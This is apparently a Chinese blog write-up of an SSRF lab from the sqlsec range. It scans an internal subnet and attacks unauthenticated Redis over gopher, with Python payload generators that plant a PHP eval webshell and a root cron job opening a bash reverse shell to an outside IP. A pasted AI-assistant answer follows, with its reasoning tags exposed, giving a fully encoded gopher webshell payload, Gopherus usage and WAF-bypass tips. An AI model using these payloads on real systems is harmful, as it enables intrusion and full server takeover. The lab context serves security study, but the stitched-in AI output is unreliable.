SSRF + gopher 打内网redis

SSRF + gopher 打内网redis

0x01:环境搭建:

使用的是国光师傅的靶场

GitHub - sqlsec/ssrf-vuls: 国光的手把手带你用 SSRF 打穿内网靶场源码

0x02:漏洞发现:

存在SSRF漏洞

0x03:漏洞利用:

接下来读取hosts文件

发现当前机器内网IP

探测内网IP 端口

爆破出的情况:

172.72.23.21 - 80
172.72.23.22 - 80
172.72.23.23 - 80、3306
172.72.23.24 - 80
172.72.23.25 - 80
172.72.23.26 - 8080
172.72.23.27 - 6379
172.72.23.28 - 6379
172.72.23.29 - 3306

可以看到

27 28两个IP是redis默认端口6379

使用dict直接访问一下

存在未授权访问漏洞, 配合gopher协议, 直接上shell

gopher要搭配数据流来使用, 构造太复杂, 所以使用脚本来生成Payload

脚本内容如下:

import urllib.parse
​
protocol = "gopher://"
ip = "x.x.x.x"
port = "6379"
shell = "\n\n<?php eval($_POST[\"afk\"]);?>\n\n"
filename = "afk.php"
path = "/tmp"
passwd = ""
cmd = ["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),  
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save",
     "quit"
    ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
    cmd += CRLF
    return cmd
​
if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
​
    # print(payload)
    print(urllib.parse.quote(payload))

全部OK

进入镜像命令:

docker exec -it 镜像id bin/bash

成功写入

0x04:计划任务反弹shell:

脚本内容换成

import urllib.parse
​
protocol = "gopher://"
ip = "172.72.23.27"
port = "6379"
shell = "\n\n * * * * * /bin/bash -i >& /dev/tcp/x.x.x.x/9999 0>&1\n\n"
filename = "root"
path = "/var/spool/cron"
passwd = ""
cmd = ["flushall",
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "set x {}".format(shell.replace(" ","${IFS}")),  
     "save"
    ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
    cmd += CRLF
    return cmd
​
if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
​
    # print(payload)
    print(urllib.parse.quote(payload))

写了一个计划任务, 反弹shell

反弹shell成功

<think>好的,我现在需要帮用户查找关于SSRF漏洞中使用Gopher协议的例题或示例。首先,我得先确认用户的具体需求。用户提到了SSRFGopher协议,并需要相关的例题或示例,可能是在学习如何利用Gopher协议进行攻击,或者准备相关的实验环境。 首先,我需要回忆SSRF的基本概念。根据引用[3],SSRF是服务器端请求伪造,攻击者通过服务端发起请求,通常目标是内部系统。而Gopher协议是一个支持多种网络请求的协议,可以用来构造各种类型的请求,比如HTTP、FTP等,因此在SSRF中常被用来扩大攻击面。 接下来,用户需要的是具体的例题或示例。根据引用[2],Gopherus工具可以生成Gopher负载来利用SSRF,实现RCE或反向shell。所以可能需要介绍如何使用这个工具生成Payload,并结合实际的例子说明。 然后,我需要考虑是否有现成的例题结构。例如,可能有一个存在SSRF漏洞的PHP脚本,用户可以通过Gopher协议发送构造的请求到内网服务,比如Redis,执行命令。这需要具体的步骤,比如构造Redis的协议格式,编码处理,以及发送请求。 还需要注意示例的正确性,确保Payload的构造符合协议规范,比如Redis的协议使用CRLF换行,以及命令的格式是否正确。此外,可能需要提到不同环境的差异,比如是否需要URL编码,或者处理特殊字符。 另外,引用[4]提到Thinkphp5框架的远程代码执行漏洞,虽然用户的问题主要围绕SSRFGopher,但可能需要确认是否有结合框架漏洞的示例,不过根据当前问题,可能不需要深入这部分,除非用户提到的例题涉及框架。 现在,我需要整理一个具体的示例场景,比如一个存在SSRF的PHP页面,使用Gopher协议攻击内网Redis服务,写入webshell。步骤包括构造Redis命令,使用Gopherus生成Payload,发送请求,并验证结果。同时要提到工具的使用和手动构造的方法,以及注意事项如编码和协议细节。 最后,确保回答的结构清晰,分步骤说明,引用相关的资料,并在末尾生成相关问题,帮助用户进一步学习。</think>### SSRF漏洞中Gopher协议应用示例 #### 基本场景 假设存在一个PHP服务端接口,接收URL参数进行请求: ```php <?php // ssrf.php $url = $_GET['url']; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); echo curl_exec($ch); ``` 攻击目标是通过该接口访问内网Redis服务(端口6379),利用Gopher协议实现未授权命令执行。 --- #### 手动构造Gopher攻击载荷 1. **Redis命令构造** 假设目标Redis允许写入webshell: ```bash flushall set shell "<?php @eval($_GET['cmd']);?>" config set dir /var/www/html config set dbfilename shell.php save ``` 2. **协议转换** Redis使用统一请求协议格式,每条命令需添加`*{参数个数}\r\n$ {参数长度}\r\n{参数}\r\n`前缀。例如`flushall`转换为: ``` *1\r\n$8\r\nflushall\r\n ``` 3. **Gopher协议格式化** 将完整协议内容进行两次URL编码(部分环境需单次编码),最终构造: ``` gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Ashell%0D%0A%2424%0D%0A%3C%3Fphp%20%40eval%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A ``` 4. **发起攻击** 访问URL触发漏洞: ``` http://target.com/ssrf.php?url=[上述Gopher字符串] ``` --- #### 工具自动化生成(Gopherus) 1. **安装工具** ```bash git clone https://github.com/tarunkant/Gopherus cd Gopherus && chmod +x gopherus.py ``` 2. **生成Redis攻击载荷** ```bash ./gopherus.py --exploit redis ``` 输入命令后直接生成可直接使用的Gopher URL[^2]。 --- #### 关键注意事项 1. 协议要求严格遵循`\r\n`换行符 2. 内网服务需存在未授权访问漏洞 3. 部分WAF会过滤`gopher://`,需尝试大小写绕过或协议嵌套 4. 实际测试需根据目标环境调整编码次数[^3] ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值